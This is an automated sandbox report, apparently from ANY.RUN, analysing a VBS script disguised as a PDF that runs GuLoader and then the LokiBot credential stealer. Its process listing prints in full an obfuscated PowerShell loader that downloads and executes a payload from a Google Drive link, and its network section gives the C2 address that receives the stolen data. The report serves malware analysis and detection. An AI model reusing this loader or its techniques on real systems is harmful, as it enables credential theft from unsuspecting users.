File name:

BUDJET TALABASI 09-05-2024·pdf.vbs

Full analysis: https://app.any.run/tasks/a97fa736-c99e-40f7-ace3-59766439a3fb
Verdict: Malicious activity
Threats:

GuLoader is an advanced downloader written in shellcode. It’s used by criminals to distribute other malware, notably trojans, on a large scale. It’s infamous for using anti-detection and anti-analysis capabilities.

Malware Trends Tracker     >>>
Analysis date: September 05, 2024, 15:51:25
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
guloader
loader
lokibot
stealer
trojan
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

D6D85FF7C492D503AC64611C60A1DFB4

SHA1:

51E4F21F2A660C911A6DCFD6A15A2154D8A81144

SHA256:

4732E92D6638B09039E9E7996B76140DC90B4A859CD235848D15A088BF66B554

SSDEEP:

384:rHPrJTpo7PC5xZ1bfsXsjlc46z/WnIM/0LfAmAnNfEbrpKz4M:rHP1Z5uXsZE5MijA

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • GULOADER has been detected

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Steals credentials from Web Browsers

      • ImagingDevices.exe (PID: 3208)

    • Actions looks like stealing of personal data

      • ImagingDevices.exe (PID: 3208)

    • Scans artifacts that could help determine the target

      • ImagingDevices.exe (PID: 3208)

    • Lokibot is detected

      • ImagingDevices.exe (PID: 3208)

    • LOKIBOT has been detected (SURICATA)

      • ImagingDevices.exe (PID: 3208)

    • Connects to the CnC server

      • ImagingDevices.exe (PID: 3208)

  • SUSPICIOUS

    • Starts CMD.EXE for commands execution

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Starts POWERSHELL.EXE for commands execution

      • wscript.exe (PID: 7132)
      • powershell.exe (PID: 5704)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 7132)

    • Gets or sets the security protocol (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Uses sleep to delay execution (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Converts a specified value to a byte (POWERSHELL)

      • powershell.exe (PID: 5032)

    • Reads security settings of Internet Explorer

      • ImagingDevices.exe (PID: 3208)

    • Checks Windows Trust Settings

      • ImagingDevices.exe (PID: 3208)

    • Process drops legitimate windows executable

      • ImagingDevices.exe (PID: 3208)

    • Executable content was dropped or overwritten

      • ImagingDevices.exe (PID: 3208)

    • Contacting a server suspected of hosting an CnC

      • ImagingDevices.exe (PID: 3208)

    • Connects to the server without a host name

      • ImagingDevices.exe (PID: 3208)

  • INFO

    • Creates or changes the value of an item property via Powershell

      • wscript.exe (PID: 7132)
      • powershell.exe (PID: 5704)

    • The process uses the downloaded file

      • wscript.exe (PID: 7132)

    • Disables trace logs

      • powershell.exe (PID: 5704)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Checks proxy server information

      • powershell.exe (PID: 5704)
      • ImagingDevices.exe (PID: 3208)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 5704)
      • powershell.exe (PID: 5032)

    • Reads the software policy settings

      • ImagingDevices.exe (PID: 3208)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 5032)

    • Checks supported languages

      • ImagingDevices.exe (PID: 3208)

    • Reads the computer name

      • ImagingDevices.exe (PID: 3208)

    • Reads the machine GUID from the registry

      • ImagingDevices.exe (PID: 3208)

    • Creates files or folders in the user directory

      • ImagingDevices.exe (PID: 3208)

    • Reads Microsoft Office registry keys

      • ImagingDevices.exe (PID: 3208)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
143
Monitored processes
18
Malicious processes
4
Suspicious processes
0

Behavior graph

Click at the process to see the details
start wscript.exe no specs #GULOADER powershell.exe conhost.exe no specs cmd.exe no specs #GULOADER powershell.exe no specs cmd.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs wab.exe no specs #LOKIBOT imagingdevices.exe

Process information

PID
CMD
Path
Indicators
Parent process
1840"C:\WINDOWS\system32\cmd.exe" /c "echo %appdata%\trepaneringerne.Jug && echo t"C:\Windows\SysWOW64\cmd.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\combase.dll
2576"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
3028"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
3208"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe"C:\Program Files (x86)\Windows Photo Viewer\ImagingDevices.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Imaging Devices Control Panel
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\certmgr.dll
c:\program files (x86)\windows photo viewer\imagingdevices.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\user32.dll
4680"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
4688"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
4980"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
4996"C:\Program Files (x86)\windows mail\wab.exe"C:\Program Files (x86)\Windows Mail\wab.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Contacts
Exit code:
0
Version:
10.0.19041.3636 (WinBuild.160101.0800)
Modules
Images
c:\program files (x86)\windows mail\wab.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
5032"C:\WINDOWS\syswow64\WindowsPowerShell\v1.0\powershell.exe" "If (${host}.Name) {$Kadia++;$Udslagskummers+='subst';$Udslagskummers+='r';}$Udslagskummers+='ing';Function Distinctly($Omdbninger){$hentydes=$Omdbninger.Length-$Kadia;For( $Mellemlnnineauerne203=5;$Mellemlnnineauerne203 -lt $hentydes;$Mellemlnnineauerne203+=6){$Metacentricity+=$Omdbninger.$Udslagskummers.'Invoke'( $Mellemlnnineauerne203, $Kadia);}$Metacentricity;}function Hamsterburene($Liggevognen){ . ($Idyllerne) ($Liggevognen);}$Rediskonteringer47=Distinctly 'HjernMHektooNgleozSvul,iDynd,l Sel lSnuffaRegns/Soc,a5lukk,.Hove.0Death Brand(ParamWToogtiLimeknRingsdFinanoDatabwLum es Zoot KonstNsemipTFuner Inte1Aa ds0Delti.R,vic0Bedk.;Titre H,irmWEksamiEpistnInter6,lugt4 Impl;Kateg Hjernxpatho6,prre4Mouth;slalo Tect rDriblvMotor: S,nk1kunde2diver1Tides.J,rgo0Ve.se)Consi RosarGUanfgeAs roc Catakf ecko.lenc/ Dole2Mo,ot0 Vejg1Sero,0Dr,bb0 Def 1alluv0Litte1Mesme FljtiFluftmiPree,rOctece.klskf la doMarylx bsci/ta tl1guid,2 fir,1Motiv.Facti0Stude ';$Agomphious=Distinctly 'Unfi,U OligsQuinieFuager Fign- TrknAUimodgHemope DialnFalsktC mpr ';$Fortrinligt=Distinctly 'Tamkah ReastDemont ,ubrpinsurs ,end:dolab/ Flb /Ledsad DefirSnyltiHellevSkraaeFemdo.Nebu gTiltvoSudaroar,eogUdstalLithoeLo.pr.CotercForhoo.romam Jord/Unpeeu,udsecStimu?UdvikeReg,rxHexapp Pl,mo UbarrArg,mtJub.l=Precod.ubskoBr chw,lankn Alk lPessioSinicaGuld dBes.a&O digiO,rykdSpitc=semic1.eputJAnta iForhjeTeksteDemokbDemono pig eCo,arX udsloUn.doq Ane sFunkth.ersomDupzv2Toski2 .rov4StranHTeaktB ReinuTok nqLeagurCompaoDemarkHeltam F.stDMeddexAmbare ReboFXerafuVerd JStryg2UsablvTar.e ';$Playmare=Distinctly 'Rensk>Doves ';$Idyllerne=Distinctly ' OveriUdtaleDiapexBlush ';$Fitroot='Disavowance';$Mellemlnnineauerne203nfortunity = Distinctly 'Cure,e BondcBrudeh,ugleo hun Sta.n% PartaAnkr.p Ve.tpAdstrdNo.coa AbretA,resa yrik%Bu,tm\subditMagtarFremde resbpLuxuraForlyn.aspneResterDrilliMelonndawsogRagsoe Berrr PrinnP,rodeProta.,chelJAlmenuHedgegBilan npro&Wi.gi& nuff Ris ke ,ubecGuhr hR,eneoSyst. Ala t F,at ';Hamsterburene (Distinctly '.arol$CoriagBaggrl,ransoRrdrubToe.aapsyc lL rar:ForbiRAkutieToftsnOvertkTj.inuBeglolFang,t GeomuDuoporAndere TystrSubu.nOk,upeNa,ob7Vrdig2 ermi=walsp(Zap,dc TetrmInachdU.lse ,getr/Undt,cEiksk Rever$uudtmMFraisePeerilNaninlInveseUdskimTjenelOpstanTilknn bajoiPattynLo pfeG lopaPressuProcee BillrBorgenFrug,e,nver2Reini0Zonit3Bolsmn.aldefSne,koAmuyorB,vert Uncaumaritn SelsiEffactSk,dey Houg)Flyve ');Hamsterburene (Distinctly ' Dise$,nostgFor.mlApteroUpseabTrac,aTillblPr.fe:DiffrSC,ntrpKnivaaDebongSkaloh CouneJrehatMaw.ftBlamaiCurl eBelurrInkvin PubleDocil6,knin6Unbol=Phot.$EmendFSko.soComporUndoutKursurMin liLatinnIngvalKerauiBulklgUn.lotForvo. GiansTekstpOvertlunfrai ,rimtRhomb( dsn$nonprPGremll,ivenaMorbryKnsk m KuvaaSelskrSvrineSja b)Itzeb ');Hamsterburene (Distinctly 'Stutt[ExtraNBilbeeS stetNoni..skakpSKataleclartr olybvKirkeiDetr.cu,dtoe SyntPjy.teo HandiOutstn Fl.rtLainiMSkoleaGudsjnPilcoa S tegU reneBlyspr O,lo]Urtdi:Semid:RejseSNaskheDeforc wi,euBegynrLaba,iVinditUdfrby UrkoPEm,errS.emnoEmpr tLalo,o bushc BandoAlkoxlSam.e H.em=Konve Overd[Hels.N.ounteOmfart Sp o. TyveSYvon,eViruscMaleauPancrrTobaciUntertFlageySterlPanti,rMalaro ,tantHannoo,kuffcOr,ngoAcquilTe.efT An.vy FilmpTaarneBichr]Retr.:Drags:Jyd,tTWaterlServosRei p1Studi2,ibli ');$Fortrinligt=$Spaghettierne66[0];$campal= (Distinctly 'unpoe$fuldtgforsglTwaddoGruttbFodriaTaenilTilfl:KinneTSepuliAnv.slIrrats Cra.eOceantHjemmeSaadasCardi= R.jfNHypereU.obewHydro- Hav.O BeehbOpi.mj redee Miljcuma,dt Gril RambuS Arisymik esTonict TremeteethmDaars.GldssNMo.steBensvtmigra.ArbejW OrthePiedmb ShibCDistrlAmphiiR greeGy,dinbind.t');$campal+=$Renkulturerne72[1];Hamsterburene ($campal);Hamsterburene (Distinctly 'Tenfo$MinisTWhoreiK,mmalNosomste rnew.ifftDiagreSplensRefun. .arrH SteneU vida ,rchdHaande E,der Atins Irri[Anemo$BeforACydipgHymenoReindmAnthypBananh An,iiReliso Pl.nuBage.ssnvre] Scor=unsui$SrilaRIsob,eConscdSkrmviUdg,asTalpekAritmoGagenn hanttCen reIrredrTolvfi.offenKontogBushle Basir Leve4Remou7Sca e ');$Komethale=Distinctly 'Singu$ D neTJa gei Arm lRdlersSvajmehovedtV,siceBiogrs Bask. seftDVid,noDy igwstrobnMangel Knoeo SlavaforbedCroquFTetraiN cotlGrifteOverd(st.ds$EntrrF GoofoMonocrIlle,tEn.olrMarkaip,oton BiddlSuperiHesitgRegnst .rou,Hindb$RificM PinfiTje.es DistrT,vshgTeknitPrompeYdervn ,ssidQuaiteSkole)Marin ';$Misrgtende=$Renkulturerne72[0];Hamsterburene (Distinctly 'Unsni$Bra cgEl,qulRistoo Anodb Croqa SikklFlads:Ba,chDH,ksekNordskNa.doe SkilnuncrydchyloeNons s Stik=Indba(UnderT RikkeSerapsPr.sttDegri-RappePRekonaT,vagtBog,eh,ugbe sk,nd$DatolMEyepoi RebisS,ipurLingug KatatProsteKuglenTurnodU.redeUnmel)Ordre ');while (!$Dkkendes) {Hamsterburene (Distinctly 'P.nte$PseudgBoga.lSlabno AthebStat.aPrecelStems:DomkaiKon.onfritidremoteFirm cSub,iiNonassMystiiHs esvPatroe Sve =Oo.en$,ainatSe,ilrUdsenuFiss e nbe ') ;Hamsterburene $Komethale;Hamsterburene (Distinctly ' ndeSSkanktSulfaaKinoor ddatSplen-e.ergSRotatlPizazeSultae ethip.sthe Lakk4geome ');Hamsterburene (Distinctly 'Sourv$K.mgrgMa,nml ParaoCa,ifbRespea PhillSkovf:FasciDUns.akNonpekKoll eStabsnJol,hdEa,ere nfors Bulb=Klora( sandTAskereSkalksGravet Sprj-BusseP overaPayantdeprehGesti Unety$DelinMHimmeiC rtis portr Precg.odeftF,rsee dellnFravrdK.rpueirret)Pow a ') ;Hamsterburene (Distinctly 'Indbr$Pa,sigDe,enlOrcadoMetanb StoraCo filAl.or:Ber,aRMinime Klimc C looBeframArt epStrmllShanteUncostCologe Femo2Inter1Chang5Hydra=Un.ag$EspergPantalKickso Mazob,kyndacornilBread:FortsPMolehaHovedaClitegIsorrrSuperiBlodtbSvedteg,nbilRecorsAnayteAjletrKlapt+Farru+Um ad%Goofa$MosquS .rocp Prega AfkvgPelorhAf,nse Verdt WiretNordpiKvabae jigsr StifnUroceePassa6 Coro6Farmo.stenfcCelluoHardbuC tyln ProgtReka. ') ;$Fortrinligt=$Spaghettierne66[$Recomplete215];}$Spiralbund=319821;$Craved=28935;Hamsterburene (Distinctly 'bekmp$ParligL.ftvl In.eoStavebKosmoaSperml Uove:SiliqaHabitpF vorppseudrVinhaoGravrv A thaUb,lanDeerfcAandeeU.dlb Proto=Medde ,ispeGC.juse Tourtastro-GuaraC Ove o olkenGamint skuee Bal nSoc at.ulka Under$AppenM Resui OutbsForbirPar.hgMosaitAfg,neAbnornDrabbdSkovde.usho ');Hamsterburene (Distinctly 'Femto$Sus.ogCompolCapsuoUncombUvillaSha.llurede:Ka.kaenvni x NrbitSig.or.tiliaHftetnm.ltiaBesttt P.onivirksoUntoon isita Iskslhol.t Skole=Revam Stali[ A.crSTrubay To.ss G,obtSpiseef.rmumSpild. .isfC VarmoBore,n .anhvrundseInko,rTroldtMedl.]Pat n: Star:PurlgFTr.umrRigshoSummamBlyanBOpvaraNitt,sWeas.ediato6 ereb4Un,erS,oinvtUn,ntr RaskiSkolenIn esgpicta(Delta$ ,ireaS lonpBassop D,gprAristorullevDrukna Koncn RevicInteneOr,in)Itale ');Hamsterburene (Distinctly 'Agrar$ve.kogMaloulSamm.oFakofb Rer,aB,liglbesmy:Pre oA Lggen poontAnimaiBlep.a iskenF,rmitcampii Inted Rayoorus,ptCl,speParta Flaco= Dimi Gener[UnaviSDk isyEpaulsMolottApte,eUnmodm espl. M.drTServieVand.xGrandt Ankl.Rib nESol,en AnotcShirtoSgelydFall iblethnStokfgAp er]Fo.re:,ddat:SuperA OdisSB.ckwC Bre I DisaIBla.f.MaskiG.qualeTllint erviSNeopht epqurtransiendpln.olhvg,razi(Maclu$scapheHexacxEftertSkillr,eksta illin EldraTuaretnonpliPinakoSupponCyansaPri.fl,kstr)Bobow ');Hamsterburene (Distinctly ' Bede$ Udbog,varslAineeoBoligbNaileaSpermlFrika:toluySkropsaRnt,esAnthrhPerveiNedstn Rejsgpurk = G.gg$Nefa.A F,tenSlvvrtMedleiGrunda S,ocnUdstytBiogri CopiddecasoVarn.tFettue ,arb.Bj,gesvindeuUnd.rb i,dds orltArbejr BlemiAfsonnSmrekgMomen(ers,a$BrachSu.auspSludri,ynenr,kattaR awalCorksbSeponuHonorn Mic.d Boyk,Mdepl$graveCPaakrrPartiaNichivFa,leeDunundLgneh)Arbej ');Hamsterburene $Sashing;"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\msvcrt.dll
c:\windows\syswow64\oleaut32.dll
5700\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
Total events
11 722
Read events
11 704
Write events
18
Delete events
0

Modification events

(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:EnableConsoleTracing
Value:
0
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileTracingMask
Value:
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:ConsoleTracingMask
Value:
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:MaxFileSize
Value:
1048576
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASAPI32
Operation:writeName:FileDirectory
Value:
%windir%\tracing
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableFileTracing
Value:
0
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableAutoFileTracing
Value:
0
(PID) Process:(5704) powershell.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\powershell_RASMANCS
Operation:writeName:EnableConsoleTracing
Value:
0
Executable files
1
Suspicious files
13
Text files
5
Unknown types
1

Dropped files

PID
Process
Filename
Type
5704powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_fan30oly.qbv.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5704powershell.exeC:\Users\admin\AppData\Roaming\trepaneringerne.Jugtext
MD5:3ABF4D7218A78BCACAD965C5420F6D5B
SHA256:CCAC084658320481F66F841A0E94320A615D5616CEFF1EF8A3428D975FA0228B
5032powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCachebinary
MD5:8E7D26D71A1CAF822C338431F0651251
SHA256:495E7C4588626236C39124CCE568968E874BEDA950319BA391665B43DE111084
5704powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_sctiwkba.cpz.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
3208ImagingDevices.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EAder
MD5:D94E789E0944374D4B037694451194F1
SHA256:0E69A75AF8675F441F2D4C710ED6F5B83DE3E43468604A2FEF70798957A2F15B
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_kjcwjpsq.csu.psm1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5032powershell.exeC:\Users\admin\AppData\Local\Temp\__PSScriptPolicyTest_pnor3nmw.yve.ps1text
MD5:D17FE0A3F47BE24A6453E9EF58C94641
SHA256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
5704powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractivebinary
MD5:DBA5F4EDA0A65714453E42D87EA58629
SHA256:95C6EB5FD206EF59E2334651083CEF1D0E4050E73F4E83208D007EC4964CF5C2
3208ImagingDevices.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EAbinary
MD5:E8BE61A8C30223AA2B41656E62232AE4
SHA256:EDC29613BCDF19752C88BC0231BE1B830674D5349AEA79D3ACDD7EE6A41F764D
3208ImagingDevices.exeC:\Users\admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\05DDC6AA91765AACACDB0A5F96DF8199binary
MD5:C637149B20E630577407ECE2405BE158
SHA256:DDEBD1CD4CB702E734E103824CBF0439B3E5FBC77D226CD5BB7D7F038981E7B4
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
12
TCP/UDP connections
34
DNS requests
17
Threats
14

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
2120
MoUsoCoreWorker.exe
GET
200
23.32.185.131:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
1440
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
3208
ImagingDevices.exe
GET
200
142.250.186.67:80
http://ocsp.pki.goog/gsr1/MFEwTzBNMEswSTAJBgUrDgMCGgUABBS3V7W2nAf4FiMTjpDJKg6%2BMgGqMQQUYHtmGkUNl8qJUC99BM00qP%2F8%2FUsCEHe9DWzbNvka6iEPxPBY0w0%3D
unknown
—
—
whitelisted
3208
ImagingDevices.exe
GET
200
142.250.186.35:80
http://o.pki.goog/wr2/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEEY%2BBbWicZDJCutGRyts3so%3D
unknown
—
—
whitelisted
3208
ImagingDevices.exe
GET
200
172.217.16.195:80
http://c.pki.goog/r/r1.crl
unknown
—
—
whitelisted
3208
ImagingDevices.exe
GET
200
142.250.186.35:80
http://o.pki.goog/wr2/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBRTQtSEi8EX%2BbYUTXd8%2ByMxD3s1zQQU3hse7XkV1D43JMMhu%2Bw0OW1CsjACEQDdY7t7sQcUFRCLMbD9m7%2FC
unknown
—
—
whitelisted
936
SIHClient.exe
GET
200
23.32.185.131:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
3208
ImagingDevices.exe
POST
500
137.184.191.215:80
http://137.184.191.215/index.php/10899
unknown
—
—
unknown
3208
ImagingDevices.exe
POST
500
137.184.191.215:80
http://137.184.191.215/index.php/10899
unknown
—
—
unknown
3208
ImagingDevices.exe
POST
500
137.184.191.215:80
http://137.184.191.215/index.php/10899
unknown
—
—
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
7128
svchost.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
6428
RUXIMICS.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
—
—
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
2120
MoUsoCoreWorker.exe
23.32.185.131:80
www.microsoft.com
AKAMAI-AS
BR
whitelisted
3888
svchost.exe
239.255.255.250:1900
—
—
—
whitelisted
3260
svchost.exe
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1440
svchost.exe
40.126.32.133:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5704
powershell.exe
142.250.185.110:443
drive.google.com
GOOGLE
US
shared
1440
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 20.73.194.208
whitelisted
www.microsoft.com
  • 23.32.185.131
whitelisted
google.com
  • 142.250.184.238
whitelisted
client.wns.windows.com
  • 40.113.103.199
whitelisted
login.live.com
  • 40.126.32.133
  • 40.126.32.72
  • 40.126.32.74
  • 40.126.32.138
  • 20.190.160.22
  • 20.190.160.14
  • 40.126.32.134
  • 20.190.160.20
whitelisted
drive.google.com
  • 142.250.185.110
shared
ocsp.digicert.com
  • 192.229.221.95
whitelisted
drive.usercontent.google.com
  • 172.217.16.193
whitelisted
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 20.242.39.171
whitelisted

Threats

PID
Process
Class
Message
3208
ImagingDevices.exe
A Network Trojan was detected
ET MALWARE LokiBot User-Agent (Charon/Inferno)
3208
ImagingDevices.exe
Malware Command and Control Activity Detected
ET MALWARE LokiBot Checkin
3208
ImagingDevices.exe
A Network Trojan was detected
ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1
3208
ImagingDevices.exe
A Network Trojan was detected
ET MALWARE LokiBot User-Agent (Charon/Inferno)
3208
ImagingDevices.exe
Malware Command and Control Activity Detected
ET MALWARE LokiBot Checkin
3208
ImagingDevices.exe
A Network Trojan was detected
ET MALWARE LokiBot Application/Credential Data Exfiltration Detected M1
3208
ImagingDevices.exe
A Network Trojan was detected
ET MALWARE LokiBot User-Agent (Charon/Inferno)
3208
ImagingDevices.exe
Malware Command and Control Activity Detected
ET MALWARE LokiBot Checkin
3208
ImagingDevices.exe
Malware Command and Control Activity Detected
ET MALWARE LokiBot Request for C2 Commands Detected M2
